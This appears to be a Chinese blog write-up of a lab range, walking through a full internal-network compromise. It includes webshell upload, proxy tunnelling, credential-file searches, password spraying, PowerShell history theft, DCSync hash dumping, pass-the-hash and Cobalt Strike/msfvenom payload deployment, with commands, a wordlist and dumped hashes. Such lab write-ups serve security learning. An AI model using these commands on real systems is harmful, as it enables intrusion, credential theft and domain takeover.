靶机-No-CVE-Range系列靶场B

靶场环境来自:棉花糖——靶机-No-CVE-Range系列靶场B

大概拓扑如下:

image-20251210162221648

1、端口扫描与服务探测

通达OA任意文件上传,传了一个马,用蚁剑连接

发现有个192.168.10.0/24段的,搭个代理访问

先搭建个隧道,本来想用Stowawa的,没成功

用了一个http协议的工具suo5(后面把suo5代理换成了reGeorg,可以看”在搭建代理链过程中遇到问题”)

因为网站是php语言写的,所以把.php文件上传到根目录作为服务端

客户端如下

image-20251114112954992

配置proxifier

image-20251114113438321

192.168.111.20主机里面有有一个密码本

1
2
3
cmd:dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* == *user*

powershell:Get-ChildItem -Path C:\Users\ -Recurse -ErrorAction SilentlyContinue -Include *pass*.txt, *pass*.xml, *pass*.ini, *cred*, *vnc*, *.config, *user* -File | Select-Object FullName, Length, LastWriteTime

image-20251114141151805

192.168.10.128 alice/P@ssw0rd

image-20251114141212869

将fscan传到第一台主机上,进行内网网段扫描,存在一台主机192.168.10.128

进行端口扫描,fscan -h 192.168.10.128 -p 1-65535 -o fscan.txt

2、3389远程登录

注意,要加域前缀(例如 domain\username

image-20251114155102391

image-20251114155507520

信息收集,还有一个域环境,网段172.16.10.0/24

image-20251119130804720

3、域内信息收集

这里记下工具BloodHound,可视化图形显示域环境中的关系(你会说,你咋就写这点呢,因为我第一次用,不太会用)

工具安装使用参考文章:https://www.freebuf.com/articles/web/288370.html

image-20251210150901895

5、内网穿透搭建

搭建个代理链,物理机访问172.16段

在reGeorg搭建好的基础上

1
2
192.168.10.98执行:建立一个反向 SOCKS 代理,在本机的 1080 端口启动 SOCKS5 代理,连接到远程主机的 7778 端口
ew_for_Win.exe -s rcsocks -l 1080 -e 7778

image-20251118164232384

1
2
192.168.10.128执行:运行反向连接命令,连接到 192.168.10.98远程的 7778 端口
ew_for_Win.exe -s rssocks -d 192.168.10.98 -e 7778

image-20251118164307170

Pro设置

这里的6665就是上面搭的1111

image-20251118170350212

image-20251118170433336

测试是否搭建成功

1
.\nxc.exe smb 172.16.10.129 -u alice -p P@ssw0rd

image-20251119160517587

没啥问题,可以通过物理机访问到172.16段

6、共享目录枚举与敏感信息获取

本来想在物理机上枚举172网段SMB共享目录,运行命令以后,web服务就挂,需要重启靶场才行,只能在内网主机上执行了

1
列出所有可访问的共享文件夹:.\nxc.exe smb 172.16.10.0/24 -u alice -p P@ssw0rd --shares
  • 发现172.16.10.129自定义共享 xya,有读权限

image-20251119163719297

爬取目标共享文件夹名为 “xya”内所有文件

1
.\nxc.exe smb 172.16.10.0/24 -u alice -p P@ssw0rd -d xya.com --spider xya --pattern .

image-20251119164708451

临时挂载 SMB 共享、读取文件、然后删除驱动器映射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
cmd:net use Z: \\172.16.10.129\xya /user:xya.com\alice P@ssw0rd && type Z:\Memo.txt && net use Z: /delete

arlpass
anonymous
root
12345678
private
123
zxsoft1234!@#$
123456
admin
system
hicomadmin
eyou_admin
cyouadmin
#NAME?
leadsec.auditor
12345
cnoa.cn2010password
leadsec@7766
admin123
leadsec
leadsec32
leadsec.useradmin
leadsec.waf
admin*PWD
firewall
Xyacontribution1!
hillstone
guest
qxcomm1680
qxcommsupport
qxcomm1688
qxcommsuport
sua_password$123
sa_password$123
password$123
venus70
venus60
sys$admin@028
freesvr
csmp@CLOUD987

image-20251119165547883

7、域用户枚举与密码喷洒

1
nxc.exe smb 172.16.10.0/24 -u user.txt -p pass.txt

image-20251210160741099

8、本地权限排查与凭据挖掘

你会有疑问,这怎么用CS执行了?因为这个靶场不是连续做完的,截图就不连贯,可以看下面的”上线到CS”

从PowerShell历史文件,获取高权限用户凭据(calue/LongliveChina1!)

1
2
3
4
5
6
7
8
9
10
11
用于窃取所有用户PowerShell命令历史记录的命令
powerpick Get-ChildItem -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\" -Recurse -ErrorAction SilentlyContinue | ForEach-Object { "`n=== $($_.FullName) ==="; Get-Content $_.FullName -ErrorAction SilentlyContinue } | Out-File C:\Windows\Temp\all_history.txt

Get-ChildItem -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\"
-Recurse
-ErrorAction SilentlyContinue
-Path C:\Users\*\AppData\... 搜索所有用户的 PSReadLine 目录
-Recurse - 递归搜索子目录
-ErrorAction SilentlyContinue 忽略权限错误(无法访问的用户目录)

download C:\Windows\Temp\all_history.txt

image-20251128172051341

calue/LongliveChina1!

image-20251128172130727

9、DCsync权限识别与利用

通过BloodHound确认用户(calue)具备DCsync权限,使用secretsdump.py工具导出域内用户哈希(含域管理员Administrator哈希)

image-20251211101136370

1
2
3
https://github.com/ropnop/impacket_static_binaries/releases

物理机:D:\tools\secretsdump_windows.exe xya/calue:'LongliveChina1!'@172.16.10.130 -dc-ip 172.16.10.130 -just-dc-user administrator

image-20251209171211399

1
2
3
4
5
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ece39e1190e04b11c0c21797feb2ec1e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c64e5ebc5f7b7ac425200b12eac0dfb70e36377052547242b185683eac422dcf
Administrator:aes128-cts-hmac-sha1-96:e126327fd843bfc06141b711523f003f
Administrator:des-cbc-md5:ead0b585e9fd3e5d

10、哈希传递登录与域控权限获取

利用域管理员哈希,通过evil-winrm工具实现哈希传递登录域控制器(172.16.10.130)

1
2
3
4
5
https://github.com/Hackplayers/evil-winrm

使用前进行安装了gem install evil-winrm,参考文章:https://blog.csdn.net/qq_66635990/article/details/135574584

物理机:ruby evil-winrm.rb -u administrator -H ece39e1190e04b11c0c21797feb2ec1e -i 172.16.10.130

image-20251210142332649

上线到CS

第一台主机上线到CS

木马上传到蚁剑运行就行

image-20251128112658485

第二台主机上线CS

参考文章:https://www.lmboke.com/archives/nei-wang-shen-tou-dai-li-socksxie-yi-lu-you-bu-chu-wang-hou-shen-tou-tong-xun-cs

思路:在192.168.10.128执行正向连接的木马程序,然后让192.168.10.98去主动连接192.168.10.128

cs添加监听器

image-20251128095755182

生成exe程序

image-20251128095847898

上传到192.168.10.128的系统执行exe程序。来到10.98的会话中执行如下命令

1
命令:connect ip port。connect 192.168.10.128 4433

成功上线

image-20251128095939020

image-20251128100016924

第三台主机上线CS

需求:把木马运行在第三台主机上。监听和木马都可以用同一个,端口虽然一样但是电脑不一样。

假设已经通过密码喷洒得到了凭证vllay/Xyacontribution1!

  • 在192.168.10.128创建共享目录
1
shell mkdir C:\share
  • 复制木马到共享目录
1
shell copy C:\Users\Public\beacon4.exe C:\share\   (C:\Users\alice\Desktop)

image-20251128153305118

  • 使用域账户 XYA\vllay 和密码创建访问令牌
1
2
3
4
5
6
make_token XYA\vllay Xyacontribution1!
make_token 是cs的内置命令,用于:在当前会话中模拟指定用户身份、避免在每条命令中重复输入凭证、对后续所有操作生效

找到密码本:
shell dir \\172.16.10.129\c$
shell type \\172.16.10.129\c$\xya_share\Memo.txt

image-20251128153413932

  • 将木马程序复制到目标机器的临时目录
1
shell copy C:\share\beacon4.exe \\172.16.10.129\c$\Windows\Temp\beacon4.exe
  • 使用WMI远程执行木马程序
1
2
3
4
shell wmic /node:172.16.10.129 /user:XYA\vllay /password:Xyacontribution1! process call create "C:\Windows\Temp\beacon4.exe"

192.168.10.128会话执行:
命令:connect ip port。connect 172.16.10.129 4434

成功上线

image-20251128162052488

上线到MSF

都是主动连接

需要获取一个正向的msf连接,生成一个正向tcp连接的payload文件:

1
.\msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe -o b.exe

image-20251128111355108

将木马上传

exe执行成功之后,192.168.111.20会开启5555端口监听,然后在msf上个运行blin_tcp模块来获取shell

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.111.20
set lport 5555
run

image-20251128111421705

上线第二个主机,添加路由

image-20251128111504293

将木马上传

exe执行成功之后,192.168.10.128会开启5555端口监听,然后在msf上个运行blin_tcp模块来获取shell

image-20251128112127151

10.129的上线参照CS和msf就可以,一样的。

文件上传到192.168.10.128主机方法:

方法一:直接通过3389复制粘贴

方法二:10.128可以访问到10.98,把文件上传到图片目录上去

image-20251114163848281

然后10.128请求路径,即可下载

1
certutil -urlcache -split -f http://192.168.10.98/images/ew_for_Win.exe

image-20251118093151508

在搭建代理链过程中遇到问题

问题一:在192.168.10.98这个主机上执行-s rcsocks -l 1080 -e 7778命令时,3389就断,最后把suo5代理换成了reGeorg,就解决了

换reGeorg也和suo5操作差不多

1
2
3
4
netstat -ano |findstr  端口
taskkill /t /f /pid 111

python3 neoreg.py -k password -u http://192.168.111.20/tunnel.php -p 6665

image-20251118164840020

问题二:在搭建过程中,192.168.10.128主机上的ew一直连接不到10.98主机,ping可以ping通

image-20251118165115015

1
netsh advfirewall set allprofiles state off

关闭10.98主机Windows 防火墙,问题解决

image-20251118165153220

4、权限滥用修改用户密码

查看对特定用户的委派权限

1
2
3
4
5
6
# 需要安装 ActiveDirectory 模块
Import-Module ActiveDirectory

# 查看对 wake 用户的有效权限
(Get-Acl "AD:\$(Get-ADUser wake -Properties DistinguishedName | Select-Object -ExpandProperty DistinguishedName)").Access | Where-Object {$_.IdentityReference -like "*alice*"}

image-20251119111117851

权限详情解析

1
2
3
4
ActiveDirectoryRights : ExtendedRight          ← 扩展权限
ObjectType : 00299570-246d-11d0-a768-00aa006e0529 ← 重置密码 GUID
AccessControlType : Allow ← 允许
IdentityReference : XYA\alice ← 授权给 alice

00299570-246d-11d0-a768-00aa006e0529 是 Active Directory 中 “User-Force-Change-Password”(重置密码) 的标准 GUID。

现在可以重置密码了

使用 PowerShell

1
2
3
# 重置 wake 的密码
$newPassword = ConvertTo-SecureString "NewP@ssw0rd2025!" -AsPlainText -Force
Set-ADAccountPassword -Identity wake -Reset -NewPassword $newPassword

image-20251119112218362

切换到 wake 域用户

1
runas /user:XYA\wake powershell

image-20251119111713111

搜索flag文件

1
powershell:Get-ChildItem -Path C:\Users\ -Recurse -ErrorAction SilentlyContinue -Include *pass*.txt, *pass*.xml, *pass*.ini, *cred*, *vnc*, *.config, *user* -File | Select-Object FullName, Length, LastWriteTime

image-20251119113018338

以Wake域用户身份上线CS

以 Wake 域用户权限运行 Alice 桌面的文件

复制文件到公共位置,这样wake才有权访问

1
runas /user:XYA\wake  "C:\Users\Public\beacon2.exe"

image-20251120113151295

以wake身份上线

image-20251120113311294

我是边学边做的,有不对的地方请谅解,请指正,感谢。


靶机-No-CVE-Range系列靶场B
http://example.com/2025/12/10/靶机-No-CVE-Range系列靶场B/
作者
manic
发布于
2025年12月10日
许可协议